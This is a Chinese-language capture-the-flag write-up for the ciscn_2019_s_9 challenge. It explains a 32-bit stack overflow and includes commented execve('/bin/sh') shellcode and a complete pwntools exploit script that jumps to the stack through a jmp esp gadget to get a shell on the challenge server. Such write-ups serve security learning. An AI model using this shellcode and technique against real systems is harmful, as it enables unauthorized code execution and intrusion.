ciscn_2019_s_9
参考
例行检查 ,32位,未开启任何保护
运行一下。
32位ida载入,,第10行的fgets,能够溢出0x32-0x20-0x4个字节
没用nx保护,首先想到的就是往s里写入shellcode,然后跳转到s执行shellcode
生成的shellcode的长度过长,参数 s0x20(32) 写不下。
shellcode ='''
xor eax,eax #eax置0
xor edx,edx #edx置0
push edx #将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f #传递“/bin”
mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB #eax置为execve函数的中断号
int 0x80 #调用软中断
'''
shellcode=asm(shellcode)
这样写shellcode的长度只有23,能够写入栈
将返回地址写成jump_esp,重新跳到栈上,手动写入sub esp,40;call esp开栈执行,即可获取shell
from pwn import *
p=remote('node3.buuoj.cn',29455)
context(log_level='debug',arch='i386',os='linux')
jump_esp=0x8048554
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
shellcode=asm(shellcode)
print len(shellcode) #23
#shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload=shellcode.ljust(0x24,'\x00')+p32(jump_esp)
print len(payload) # 40
payload+=asm("sub esp,40;call esp")
p.sendline(payload)
p.interactive()